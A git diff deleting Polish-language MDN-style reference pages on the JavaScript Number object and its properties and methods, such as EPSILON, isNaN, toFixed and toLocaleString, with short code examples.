- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
- -

Zobacz również

- - diff --git a/files/pl/web/javascript/referencje/obiekty/number/constructor/index.html b/files/pl/web/javascript/referencje/obiekty/number/constructor/index.html deleted file mode 100644 index 11b7dbe2de..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/number/constructor/index.html +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: constructor -slug: Web/JavaScript/Referencje/Obiekty/Number/constructor -tags: - - Dokumentacja_JavaScript - - Dokumentacje - - JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Reference/Global_Objects/Number -translation_of_original: Web/JavaScript/Reference/Global_Objects/Number/constructor ---- -

-

-

Podsumowanie

-

Własność obiektu: Number -

Określa funkcję tworzącą prototyp obiektu. Należy pamiętać, że wartość tej własności jest referencją do funkcji, a nie łańcuchem znaków zawierającym jej nazwę. -

-

Opis

-

Zobacz Object.constructor. -

-
-
-{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Global_Objects/Number/constructor", "ja": "ja/Core_JavaScript_1.5_Reference/Global_Objects/Number/constructor" } ) }} diff --git a/files/pl/web/javascript/referencje/obiekty/number/epsilon/index.html b/files/pl/web/javascript/referencje/obiekty/number/epsilon/index.html deleted file mode 100644 index 289e33ad79..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/number/epsilon/index.html +++ /dev/null @@ -1,76 +0,0 @@ ---- -title: Number.EPSILON -slug: Web/JavaScript/Referencje/Obiekty/Number/EPSILON -tags: - - ECMAScript 2015 - - JavaScript - - Number - - Właściwość -translation_of: Web/JavaScript/Reference/Global_Objects/Number/EPSILON ---- -
{{JSRef}}
- -

Właściwość Number.EPSILON reprezentuje różnicę pomiędzy 1 a najmniejszą liczbą zmiennoprzecinkową większą niż 1.

- -

Jest to właściwość statyczna. Nie musisz tworzyć obiektu {{jsxref("Number")}}, żeby mieć do niej dostęp (użyj Number.EPSILON).

- -
{{EmbedInteractiveExample("pages/js/number-epsilon.html")}}
- - - -
{{js_property_attributes(0, 0, 0)}}
- -

Opis

- -

Wartość właściwości EPSILON to w przybliżeniu  2.2204460492503130808472633361816E-16 lub 2-52.

- -

Przykłady

- -

Testowanie równości

- -
x = 0.2;
-y = 0.3;
-z = 0.1;
-equal = (Math.abs(x - y + z) < Number.EPSILON);
-
- -

Polyfill

- -
if (Number.EPSILON === undefined) {
-    Number.EPSILON = Math.pow(2, -52);
-}
-
- -

Specyfikacja

- - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES2015', '#sec-number.epsilon', 'Number.EPSILON')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ESDraft', '#sec-number.epsilon', 'Number.EPSILON')}}{{Spec2('ESDraft')}}
- -

Kompatybilność

- - - -

{{Compat("javascript.builtins.Number.EPSILON")}}

- -

Zobacz również

- - diff --git a/files/pl/web/javascript/referencje/obiekty/number/index.html b/files/pl/web/javascript/referencje/obiekty/number/index.html deleted file mode 100644 index 78fc243a0b..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/number/index.html +++ /dev/null @@ -1,111 +0,0 @@ ---- -title: Number -slug: Web/JavaScript/Referencje/Obiekty/Number -tags: - - JavaScript -translation_of: Web/JavaScript/Reference/Global_Objects/Number ---- -
{{JSRef}}
- -

Podsumowanie

- -

Pozwala pracować z wartościami liczbowymi. Obiekt Number jest opakowaniem (ang.wrapper ) dla prymitywnych wartości numerycznych.

- -

Tworzone przez

- -

Konstruktor Number:

- -
new Number(value);
- -

Parametry

- -
-
value 
-
Wartość numeryczna tworzonego obiektu.
-
- -

Opis

- -

Obiekt Number jest głównie stosowany do:

- - - - - -

Własności Number są własnościami jego klasy, nieindywidualnymi własnościami obiektu.

- -

JavaScript 1.2: Number(x) teraz tworzy raczej NaN niż błąd jeśli x jest ciągiem znaków, który nie zawiera poprawnie sformatowanej liczby. Na przykład, poniższy kod drukuje NaN:

- -
var x = Number("three");
-document.write(x + "<BR>");
-
- -

Możesz przekonwertować, każdy obiekt na liczbę używając funkcji wysokiego poziomu Number.

- -

Własności

- -
-
{{jsxref("Number.constructor")}}
-
Oznacza funkcję, która tworzy prototyp obiektu.
-
{{jsxref("Number.MAX_VALUE")}}
-
Największa możliwa do przedstawienia liczba.
-
{{jsxref("Number.MIN_VALUE")}}
-
Najmniejsza możliwa do przedstawienia liczba.
-
{{jsxref("Number.NaN")}}
-
Specjalna wartość "nie jest liczbą" (Not-a-Number).
-
{{jsxref("Number.NEGATIVE_INFINITY")}}
-
Specjalna wartość reprezentująca negatywną nieskończoność; zwracana przy przepełnieniu.
-
{{jsxref("Number.POSITIVE_INFINITY")}}
-
Specjalna wartość reprezentująca nieskończoność; zwracana przy przepełnieniu.
-
{{jsxref("Number.prototype")}}
-
Pozwala na dodawanie (tworzenie) nowych własności obiektu Number.
-
- -

Metody

- -

{{jsxref("Number.isInteger()")}}

- -

     Sprawdza czy liczba jest całkowita.

- -
-
{{jsxref("Number.toExponential()")}}
-
Zwraca ciąg znaków, reprezentujący liczbę zapisaną w postaci wykładniczej.
-
{{jsxref("Number.toFixed()")}}
-
Zwraca ciąg znaków, reprezentujący liczbę stałoprzecinkową.
-
{{jsxref("Number.toLocaleString()")}}
-
Zwraca czytelny dla ludzi ciąg znaków reprezentujący liczbę zapisaną przy wykorzystaniu lokalnego formatu zapisu liczb. Przesłania metodę {{jsxref("Object.toLocaleString()")}}.
-
{{jsxref("Number.toPrecision()")}}
-
Zwraca ciąg znaków reprezentujący liczbę stałoprzecinkową o podanej precyzji.
-
{{jsxref("Number.toSource()")}}
-
Zwraca literał obiektu reprezentujący podany obiekt Number; możesz użyć tą wartość, przy tworzeniu nowego obiektu. Przesłania metodę {{jsxref("Object.toSource()")}}.
-
{{jsxref("Number.toString()")}}
-
Zwraca ciąg znaków reprezentujący podany obiekt. Przesłania metodę {{jsxref("Object.toString()")}}.
-
{{jsxref("Number.valueOf()")}}
-
Zwraca zmienną typu prostego reprezentującą wartość podanego obiektu. Przesłania metodę {{jsxref("Object.valueOf()")}}.
-
- -

Przykłady

- -

Przykład: Zastosowanie obiektu Number, przy przypisaniu wartości zmiennym liczbowym

- -

Poniższy przykład używa własności obiektu Number, aby przypisać wartości do kilku wartości numerycznych:

- -
var najwiekszaLiczba = Number.MAX_VALUE;
-var najmniejszaLiczba = Number.MIN_VALUE;
-var nieskonczonosc = Number.POSITIVE_INFINITY;
-var negatywnaNieskonczonosc = Number.NEGATIVE_INFINITY;
-var nieJestLiczba = Number.NaN;
-
- -

Przykład: Zastosowanie obiektu Number do modyfikacji wszystkich obiektów Number

- -

Poniższy przykład tworzy obiekt typu Number, <code>.mojaLiczba</code>, wtedy dodaje własność opis, wszystkim obiektom Number. Następnie wartość jest przypisana do własności opis obiektu mojaLiczba.

- -
var mojaLiczba = new Number(65);
-Number.prototype.opis = null;
-var mojaLiczba.opis = "prędkość wiatru";
-
diff --git a/files/pl/web/javascript/referencje/obiekty/number/isinteger/index.html b/files/pl/web/javascript/referencje/obiekty/number/isinteger/index.html deleted file mode 100644 index aaf93ab5fb..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/number/isinteger/index.html +++ /dev/null @@ -1,88 +0,0 @@ ---- -title: Number.isInteger() -slug: Web/JavaScript/Referencje/Obiekty/Number/isInteger -translation_of: Web/JavaScript/Reference/Global_Objects/Number/isInteger ---- -
{{JSRef}}
- -

Metoda Number.isInteger() sprawdza czy wpisana wartość jest liczbą całkowitą.

- -

Syntax

- -
Number.isInteger(value)
- -

Parametry

- -
-
zmienna
-
Zmienna będzie testowana jako liczba.
-
- -

Zwracana wartość

- -

Metoda zwraca wartość typu {{jsxref("Boolean")}}.

- -

Opis

- -

Jeśli sprawdzana zmienna jest liczbą całkowitą metoda zwraca true, w innym przypadku zwraca false. Jeśli zmienna jest typu {{jsxref("NaN")}} lub spoza zakresu metoda zwraca false.

- -

Przykłady

- -
Number.isInteger(0);         // true
-Number.isInteger(1);         // true
-Number.isInteger(-100000);   // true
-
-Number.isInteger(0.1);       // false
-Number.isInteger(Math.PI);   // false
-
-Number.isInteger(NaN);       // false
-Number.isInteger(Infinity);  // false
-Number.isInteger(-Infinity); // false
-Number.isInteger('10');      // false
-Number.isInteger(true);      // false
-Number.isInteger(false);     // false
-Number.isInteger([1]);       // false
-
- -

Polyfill

- -
Number.isInteger = Number.isInteger || function(value) {
-  return typeof value === 'number' &&
-    isFinite(value) &&
-    Math.floor(value) === value;
-};
-
- -

Dokumentacja

- - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES6', '#sec-number.isinteger', 'Number.isInteger')}}{{Spec2('ES6')}}Initial definition.
{{SpecName('ESDraft', '#sec-number.isinteger', 'Number.isInteger')}}{{Spec2('ESDraft')}} 
- -

Kompatybilne przegladarki

- - - -

{{Compat("javascript.builtins.Number.isInteger")}}

- -

Sprawdź również

- - diff --git a/files/pl/web/javascript/referencje/obiekty/number/isnan/index.html b/files/pl/web/javascript/referencje/obiekty/number/isnan/index.html deleted file mode 100644 index ddb723b409..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/number/isnan/index.html +++ /dev/null @@ -1,108 +0,0 @@ ---- -title: Number.isNaN() -slug: Web/JavaScript/Referencje/Obiekty/Number/isNaN -tags: - - ECMAScript 2015 - - JavaScript - - Metodă - - NaN - - Number - - isNaN -translation_of: Web/JavaScript/Reference/Global_Objects/Number/isNaN ---- -
{{JSRef}}
- -

Metoda Number.isNaN() określa czy podany parametr ma wartość {{jsxref("NaN")}} i czy jest typu {{jsxref("Number")}}. Jest to ulepszona wersja oryginalnej, globalne funkcji {{jsxref("isNaN", "isNaN()")}}.

- -
{{EmbedInteractiveExample("pages/js/number-isnan.html", "taller")}}
- - - -

Składnia

- -
Number.isNaN(value)
- -

Parametry

- -
-
value
-
Wartość, którą będziemy testować {{jsxref("NaN")}}.
-
- -

Zwracana wartość

- -

true, jeśli podana wartość jest {{jsxref("NaN")}}, a jej typem jest {{jsxref("Number")}}; w przeciwnym razie, false.

- -

Opis

- -

Ponieważ oba operatory porównania, {{jsxref("Operators/Comparison_Operators", "==", "#Equality")}} i {{jsxref("Operators/Comparison_Operators", "===", "#Identity")}}, dla zapytania czy {{jsxref("NaN")}} jest równe {{jsxref("NaN")}} zwracają false funkcja Number.isNaN() staje się niezbędna. Jest sytuacja wyjątkowa i nie występuje, gdy porównujemy dowolne inne wartości w języku JavaScript.

- -

W porównaniu do funkcji globalnej {{jsxref("isNaN", "isNaN()")}}, metoda Number.isNaN() nie ma problemu z usilnym konwertowaniem parametru na liczbę. To oznacza, że można bezpiecznie przekazywać wartości, które normalnie mogłyby zostać skonwertowane na {{jsxref("NaN")}}, ale nie mają tej samej wartości co {{jsxref("NaN")}}. To również oznacza, że jedynie wartości typu {{jsxref("Number")}}, które są również {{jsxref("NaN")}}, zwrócą true.

- -

Przykłady

- -
Number.isNaN(NaN);        // true
-Number.isNaN(Number.NaN); // true
-Number.isNaN(0 / 0);      // true
-
-// Gdybyśmy użyli funkcji isNaN(), te przykłady zwróciłby true
-Number.isNaN('NaN');      // false
-Number.isNaN(undefined);  // false
-Number.isNaN({});         // false
-Number.isNaN('blabla');   // false
-
-// Wszystkie zwracają false
-Number.isNaN(true);
-Number.isNaN(null);
-Number.isNaN(37);
-Number.isNaN('37');
-Number.isNaN('37.37');
-Number.isNaN('');
-Number.isNaN(' ');
-
- -

Polyfill

- -

Następujący przykład działa, ponieważ {{jsxref("NaN")}} jest jedyną wartością w języku JavaScript, która nie jest równa samej sobie.

- -
Number.isNaN = Number.isNaN || function(value) {
-    return value !== null && (value != value || +value != value);
-}
-
- -

Opis

- - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ESDraft', '#sec-number.isnan', 'Number.isnan')}}{{Spec2('ESDraft')}}
{{SpecName('ES2015', '#sec-number.isnan', 'Number.isnan')}}{{Spec2('ES2015')}}Initial definition.
- -

Kompatybilność

- - - -
{{Compat("javascript.builtins.Number.isNaN")}}
- -

Zobacz również

- - diff --git a/files/pl/web/javascript/referencje/obiekty/number/max_value/index.html b/files/pl/web/javascript/referencje/obiekty/number/max_value/index.html deleted file mode 100644 index 4ec6b77eb3..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/number/max_value/index.html +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: Number.MAX_VALUE -slug: Web/JavaScript/Referencje/Obiekty/Number/MAX_VALUE -tags: - - JavaScript - - Number - - Property -translation_of: Web/JavaScript/Reference/Global_Objects/Number/MAX_VALUE ---- -

{{JSRef}}

- -

Podsumowanie

- -

Największa liczba, której reprezentacja jest możliwa w języku JavaScript.

- -
{{js_property_attributes(0, 0, 0)}}
- -

Opis

- -

Własność MAX_VALUE ma wartość ok. 1.79E+308. Wartości większe niż MAX_VALUE są reprezentowane jako "Infinity" (nieskończoność).

- -

Ponieważ MAX_VALUE jest statyczną własnością {{jsxref("Number")}}, używa jej się zawsze jako Number.MAX_VALUE, a nie jako własność utworzonego przez programistę obiektu {{jsxref("Number")}}.

- -

Przykłady

- -

Przykład: Zastosowanie MAX_VALUE

- -

Poniższy kod mnoży dwie liczby. Jeśli wynik jest większy lub równy MAX_VALUE, wywoływana jest funkcja func1, w przeciwnym wypadku wywoływana jest funkcja func2.

- -
if (num1 * num2 <= Number.MAX_VALUE) {
-   func1();
-} else {
-   func2();
-}
-
diff --git a/files/pl/web/javascript/referencje/obiekty/number/min_value/index.html b/files/pl/web/javascript/referencje/obiekty/number/min_value/index.html deleted file mode 100644 index 7010abe1af..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/number/min_value/index.html +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: Number.MIN VALUE -slug: Web/JavaScript/Referencje/Obiekty/Number/MIN_VALUE -tags: - - JavaScript - - Number - - Property -translation_of: Web/JavaScript/Reference/Global_Objects/Number/MIN_VALUE ---- -

{{JSRef}}

- -

Podsumowanie

- -

Najmniejsza dodatnia wartość liczbowa, której reprezentacja jest możliwa w języku JavaScript.

- -
{{js_property_attributes(0, 0, 0)}}
- -

Opis

- -

Własność MIN_VALUE to najbliższa zeru liczba dodatnia, jakiej reprezentacja jest możliwa w języku JavaScript - nie jest to najmniejsza liczba ujemna.

- -

MIN_VALUE ma wartość ok. 5e-324. Wartości mniejsze niż MIN_VALUE (ang. "underflow values") konwertowane są do 0.

- -

Ponieważ MIN_VALUE jest statyczną własnością {{jsxref("Number")}}, używa jej się zawsze jako Number.MIN_VALUE, a nie jako własność utworzonego przez programistę obiektu {{jsxref("Number")}}.

- -

Przykłady

- -

Przykład: Zastosowanie Number.MIN_VALUE

- -

Poniższy kod dzieli jedną liczbę przez drugą. Jeśli wynik jest większy lub równy MIN_VALUE, wywoływana jest funkcja func1, w przeciwnym wypadku wywoływana jest funkcja func2.

- -
if (num1 / num2 >= Number.MIN_VALUE) {
-   func1();
-} else {
-   func2();
-}
-
- -
 
diff --git a/files/pl/web/javascript/referencje/obiekty/number/nan/index.html b/files/pl/web/javascript/referencje/obiekty/number/nan/index.html deleted file mode 100644 index 987a48ee6d..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/number/nan/index.html +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: Number.NaN -slug: Web/JavaScript/Referencje/Obiekty/Number/NaN -tags: - - JavaScript - - Number - - Property -translation_of: Web/JavaScript/Reference/Global_Objects/Number/NaN ---- -

{{JSRef}}

- -

Podsumowanie

- -

Wartość reprezentująca Not-A-Number (Nie-Liczbę).

- -
{{js_property_attributes(0, 0, 0)}}
- -

Opis

- -

Wartością Number.NaN jest Not-A-Number, taką samą jak wartość własności {{jsxref("Obiekty/NaN", "NaN")}} obiektu globalnego.

- -

Keep text below in sync with Properties:NaN page NaN jest zawsze różna od dowolnej liczby, włączając również NaN; nie możesz sprawdzić wartości nieliczbowej poprzez porównanie do Number.NaN. Użyj zamiast tego funkcji {{jsxref("Obiekty/isNaN", "isNaN()")}}.

- -

Kilka metod JavaScript (takie jak konstruktor Number, parseFloat i parseInt) zwracają NaN, jeśli wartość określona w parametrze nie może być przetworzona jako liczba.

- -

Możesz użyć własności NaN, aby wskazać warunek błędu dla Twojej funkcji, która zwraca liczbę w przypadku sukcesu.

- -

JavaScript wyświetla wartość Number.NaN jako NaN.

- -

Przykłady

- -

Przykład: Zastosowanie Number.NaN

- -

W poniższym przykładzie, jeśli miesiąc (month) jest wartość większą niż 12, zostaje mu przypisane NaN i wyświetlana jest informacja o nieprawidłowych wartościach.

- -
var month = 13;
-if (month < 1 || month > 12) {
-   month = Number.NaN;
-   console.log("Miesiąc musi być liczbą między 1 i 12.");
-}
-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/number/negative_infinity/index.html b/files/pl/web/javascript/referencje/obiekty/number/negative_infinity/index.html deleted file mode 100644 index 90de86af6d..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/number/negative_infinity/index.html +++ /dev/null @@ -1,53 +0,0 @@ ---- -title: Number.NEGATIVE INFINITY -slug: Web/JavaScript/Referencje/Obiekty/Number/NEGATIVE_INFINITY -tags: - - JavaScript - - Number - - Property -translation_of: Web/JavaScript/Reference/Global_Objects/Number/NEGATIVE_INFINITY ---- -

{{JSRef}}

- -

Podsumowanie

- -

Wartość reprezentująca ujemną nieskończoność.

- -

Opis

- -

Wartość własności Number.NEGATIVE_INFINITY jest taka sama jak ujemna wartość własności {{jsxref("Infinity")}} obiektu globalnego.

- -

Wartość ta zachowuje się nieco inaczej niż matematyczna nieskończoność:

- - - -

Własności Number.NEGATIVE_INFINITY można użyć do wskazania błędu warunku, który zwraca liczbę skończoną w przypadku powodzenia. Należy jednak zauważyć, że funkcja {{jsxref("Obiekty/isFinite", "isFinite")}} będzie w tym wypadku bardziej odpowiednia.

- -

Przykład

- -

W poniższym przykładzie do zmiennej smallNumber została przypisana wartość mniejsza niż wartość minimalna. Gdy zostaje wykonana instrukcja if, smallNumber posiada wartość "-Infinity", więc przed kontynuowaniem do zmiennej smallNumber jest przypisywana bardziej wykonywalna wartość.

- -
var smallNumber = (-Number.MAX_VALUE) * 2;
-
-if (smallNumber == Number.NEGATIVE_INFINITY) {
- smallNumber = returnFinite();
-}
-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/number/positive_infinity/index.html b/files/pl/web/javascript/referencje/obiekty/number/positive_infinity/index.html deleted file mode 100644 index e0be5b9e2a..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/number/positive_infinity/index.html +++ /dev/null @@ -1,57 +0,0 @@ ---- -title: Number.POSITIVE INFINITY -slug: Web/JavaScript/Referencje/Obiekty/Number/POSITIVE_INFINITY -tags: - - JavaScript - - Number - - Property -translation_of: Web/JavaScript/Reference/Global_Objects/Number/POSITIVE_INFINITY ---- -

{{JSRef}}

- -

Podsumowanie

- -

Wartość reprezentująca dodatnią nieskończoność.

- -
{{js_property_attributes(0, 0, 0)}}
- -

Opis

- -

Wartość własności Number.POSITIVE_INFINITY jest taka sama jak wartość własności {{jsxref("Infinity")}} obiektu globalnego.

- -

Wartość ta zachowuje się nieco inaczej niż matematyczna nieskończoność:

- - - -

Niektóre metody JavaScript (takie jak konstruktor Number, parseFloat i parseInt) zwracają wartość NaN, jeśli wartość określona w parametrze znacznie przewyższa wartość Number.MAX_VALUE.

- -

Własności Number.POSITIVE_INFINITY można użyć do wskazania błędu warunku, który zwraca liczbę skończoną w przypadku powodzenia. Należy jednak zauważyć, że funkcja {{jsxref("Obiekty/isFinite", "isFinite")}} będzie w tym wypadku bardziej odpowiednia.

- -

Przykład

- -

W poniższym przykładzie do zmiennej largeNumber została przypisana wartość większa niż wartość maksymalna. Gdy zostaje wykonana instrukcja {{jsxref("Polecenia/if...else", "if")}}, largeNumber posiada wartość Infinity, więc przed kontynuowaniem do zmiennej bigNumber jest przypisywana bardziej wykonywalna wartość.

- -
var bigNumber = Number.MAX_VALUE * 2;
-
-if (bigNumber == Number.POSITIVE_INFINITY) {
- bigNumber = returnFinite();
-}
-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/number/toexponential/index.html b/files/pl/web/javascript/referencje/obiekty/number/toexponential/index.html deleted file mode 100644 index 1eef2782e4..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/number/toexponential/index.html +++ /dev/null @@ -1,53 +0,0 @@ ---- -title: Number.prototype.toExponential() -slug: Web/JavaScript/Referencje/Obiekty/Number/toExponential -tags: - - JavaScript - - Method - - Number - - Prototype -translation_of: Web/JavaScript/Reference/Global_Objects/Number/toExponential ---- -

{{JSRef}}

- -

Podsumowanie

- -

Zwraca łańcuch znaków reprezentujący Number w notacji wykładniczej.

- -

Składnia

- -
numObj.toExponential([fractionDigits])
- -

Parametr

- -
-
fractionDigits
-
Liczba całkowita określająca liczbę cyfr występujących po kropce dziesiętnej. Domyślną wartością jest tyle cyfr, ile potrzeba do określenia liczby.
-
- -

Zwraca

- -

Łańcuch znaków reprezentujący obiekt {{jsxref("Number")}} w notacji wykładniczej z jedną cyfrą przed kropką dziesiętną i zaokrągleniem do tylu cyfr po kropce, ile określa parametr fractionDigits. Jeśli argument fractionDigits zostanie pominięty, domyślnie przyjmowana jest taka wartość zaokrąglenia, która pozwala na przedstawienie wartości w sposób unikatowy.

- -

Jeśli metoda toExponential() zostanie użyta do literałów liczbowych, które nie posiadają wykładnika i kropki dziesiętnej, należy wstawić spację przed kropką poprzedzającą wywołanie metody, aby zapobiec zinterpretowaniu tej kropki jako kropki dziesiętnej.

- -

Jeśli liczba posiada więcej cyfr niż określono przez parametr fractionDigits, jest ona zaokrąglana do najbliższej liczby o ilości cyfr wskazanej przez wartość fractionDigits. Zobacz dyskusję na temat zaokrąglania w opisie metody toFixed, która również odnosi się do metody toExponential().

- -

Przykład

- -
var num=77.1234;
-
-console.log("num.toExponential() is " + num.toExponential()); //wyświetla 7.71234e+1
-console.log("num.toExponential(4) is " + num.toExponential(4)); //wyświetla 7.7123e+1
-console.log("num.toExponential(2) is " + num.toExponential(2)); //wyświetla 7.71e+1
-console.log("77.1234.toExponential() is " + 77.1234.toExponential()); //wyświetla 7.71234e+1
-console.log("77 .toExponential() is " + 77 .toExponential()); //wyświetla 7.7e+1
-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/number/tofixed/index.html b/files/pl/web/javascript/referencje/obiekty/number/tofixed/index.html deleted file mode 100644 index 9394bf1db9..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/number/tofixed/index.html +++ /dev/null @@ -1,61 +0,0 @@ ---- -title: Number.prototype.toFixed() -slug: Web/JavaScript/Referencje/Obiekty/Number/toFixed -tags: - - JavaScript - - Method - - Number - - Prototype -translation_of: Web/JavaScript/Reference/Global_Objects/Number/toFixed ---- -

{{JSRef}}

- -

Podsumowanie

- -

Formatuje liczbę stosując notację stałoprzecinkową.

- -

Składnia

- -
numObj.toFixed([digits])
- -

Parametr

- -
-
digits
-
Liczba cyfr, które mają zostać wyświetlone po kropce dziesiętnej; może to być wartość z zakresu od 0 do 20 włącznie, ale implementacje mogą opcjonalnie wprowadzać większe zakresy. Jeśli argument zostanie pominięty, przyjmowana jest wartość 0.
-
- -

Zwraca

- -

Reprezentację wartości number w postaci łańcucha znaków, która nie stosuje notacji wykładniczej i posiada dokładnie tyle cyfr po separatorze dziesiętnym, ile wskazuje na to wartość parametru digits. Liczba w razie konieczności jest zaokrąglana, a część ułamkowa wypełniana zerami, aby liczba posiadała określoną długość. Jeśli liczba number jest większa niż 1e+21, metoda ta po prostu wywołuje {{jsxref("Number.prototype.toString()")}} i zwraca łańcuch znaków w notacji wykładniczej.

- -

Wyrzuca

- -
-
{{jsxref("Obiekty/RangeError", "RangeError")}}
-
Jeśli wartość parametru digits jest za duża lub za mała. Wartości z zakresu od 0 do 20 włącznie nie spowodują wystąpienia {{jsxref("Obiekty/RangeError", "RangeError")}}. Dopuszcza się na obsługę mniejszych lub większych wartości przez różne implementacje.
-
- -
-
{{jsxref("Obiekty/TypeError", "TypeError")}}
-
Jeśli ta metoda jest przywołana w obiekcie, który nie jest obiektem {{jsxref("Number")}}.
-
- -

Przykłady

- -
var n = 12345.6789;
-
-n.toFixed();              // zwraca 12346: zauważ zaokrąglenie i brak części ułamkowej
-n.toFixed(1);             // zwraca 12345.7: zauważ zaokrąglenie
-n.toFixed(6);             // zwraca 12345.678900: zauważ dodane zera
-(1.23e+20).toFixed(2);    // zwraca 123000000000000000000.00
-(1.23e-10).toFixed(2)     // zwraca 0.00
-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/number/tolocalestring/index.html b/files/pl/web/javascript/referencje/obiekty/number/tolocalestring/index.html deleted file mode 100644 index 6ca88bba30..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/number/tolocalestring/index.html +++ /dev/null @@ -1,182 +0,0 @@ ---- -title: Number.prototype.toLocaleString() -slug: Web/JavaScript/Referencje/Obiekty/Number/toLocaleString -translation_of: Web/JavaScript/Reference/Global_Objects/Number/toLocaleString ---- -
{{JSRef}}
- -

Metoda toLocaleString() zwraca łańcuch znaków przedstawiający dany numer w formacie wybranej lokalizacji.

- -

Nowe argumenty - lokalizacje i opcje - pozwalają na wybranie lokalizacji w jakiej ma zostać przedstawiona liczba. Starsza implementacja, która nie posiadała tych argumentów, zwracała łańcuch znaków zależny od implementacji danego środowiska.

- -

Składnia

- -
numObj.toLocaleString([lokalizacje [, opcje]])
- -

Parametry

- -

W sekcji kompatybilności możesz sprawdzić, które przeglądarki obsługują argumenty lokalizacji i opcji . W sekcji Przykład: Sprawdzanie obsługi argumentów lokalizacji i opcji rozpisane są sposoby na przetestowanie obsługiwanych przez przeglądarkę argumentów tej metody.

- -
-

Info: ECMAScript Internationalization API, zaimplementowane w Firefoxie 29, dodaje obsługę parametrylokalizacje do metodyNumber.toLocaleString(). Jeśli argument nie zostanie podany ({{jsxref("undefined")}}) metoda przyjmię lokalizację systemu operacyjnego. Poprzednie wersje Firefoxa zwracały liczby z lokalizacji Western Arabic. Zmiana zostala zgłoszona jako regresja rzutująca na wsteczną kompatybilność metody, i wkrótce zostanie naprawiona. ({{bug(999003)}})

-
- -
{{page('/pl-PL/docs/Web/JavaScript/Reference/Global_Objects/NumberFormat', 'Parameters')}}
- -

Zwracana wartość

- -

Łańcuch znaków przedstawiający liczbę w danym formacie.

- -

Przykłady

- -

Przykłady użycia metody toLocaleString

- -

Podstawowy sposób użycia, bez podanych argumentów, zwróci nam łańcuch znaków w domyślnej lokalizacji i z domyślnymi opcjami.

- -
var liczba = 3500;
-
-console.log(liczba.toLocaleString()); // Wyświetli "3 500", jeśli twoją lokalizacją jest „pl-PL”
-
- -

Sprawdzanie dostępności argumentów lokalizacji i opcji

- -

Nie wszystkie przeglądarki obsługuję argumenty lokalizacji i opcji. Aby to sprawdzić w wersji języka ES5.1 i późniejszych możemy użyć wyjątku {{jsxref("Global_Objects/RangeError", "RangeError")}}, który zostanie rzucony gdy niepoprawna nazwa lokalizacji zostanie użyta:

- -
function toLocaleStringSupportsLocales() {
-  var liczba = 0;
-  try {
-    liczba.toLocaleString('i');
-  } catch (e) {
-    return e.name === 'RangeError';
-  }
-  return false;
-}
-
- -

W wersjach przed ES5.1 nie było obowiązku wyrzucania wyjątku Range Error jeśli metoda toLocaleString została wywołana z argumentami.

- -

Sprawdzenie działające na wszystkich wersjach języka przed 5.1 polega na użyciu funkcjonalności niezbędnych do działania tych argumentów bezpośrednio na Number.prototype.toLocaleString:

- -
function toLocaleStringSupportsOptions() {
-  return !!(typeof Intl == 'object' && Intl && typeof Intl.NumberFormat == 'function');
-}
-
- -

Sprawdzamy tutaj czy istnieje globalny obiekt Intl, czy nie jest nullem, a także czy posiada właściwość NumberFormat, która jest funkcją.

- -

Przykłady użycia lokalizacji

- -

Przykład ten pokazuje kilka różnych lokalizacji. Aby uzyskać foramt języka interfejsu użytkownika upewnij się, że podajesz tę lokalizację (i dla pewności kilka innych jako fallbacki) przy pomocy aargumentu localizacji:

- -
var liczba = 123456.789;
-
-// Język niemiecki oddziela części dziesiętne przecinkiem, a tysiące kropką
-console.log(liczba.toLocaleString('de-DE'));
-// → 123.456,789
-
-// W większości krajów arabskich używa cyfr Eastern Arabic
-console.log(liczba.toLocaleString('ar-EG'));
-// → ١٢٣٤٥٦٫٧٨٩
-
-// Indyjski używa separatorów tysięcy/lakh/crore
-console.log(liczba.toLocaleString('en-IN'));
-// → 1,23,456.789
-
-// Klucz rozszerzeń „nu” pyta o system numeryczny, np. Chiński system dziesiętny
-console.log(liczba.toLocaleString('zh-Hans-CN-u-nu-hanidec'));
-// → 一二三,四五六.七八九
-
-// jeśli masz zamiar użyć lokalizacji, która może nie być obsługiwana
-// jak np. Balinese, zawsze dodaj drugi lokalizację, tutaj Indonezyjską
-console.log(liczba.toLocaleString(['ban', 'id']));
-// → 123.456,789
-
- -

Przykłady użycia opcji

- -

Rezultaty metodytoLocaleString  mogą być dostosowywane przy pomocy argumentu opcje:

- -
var liczba = 123456.789;
-
-// format walutowy
-console.log(liczba.toLocaleString('de-DE', { style: 'currency', currency: 'EUR' }));
-// → 123.456,79 €
-
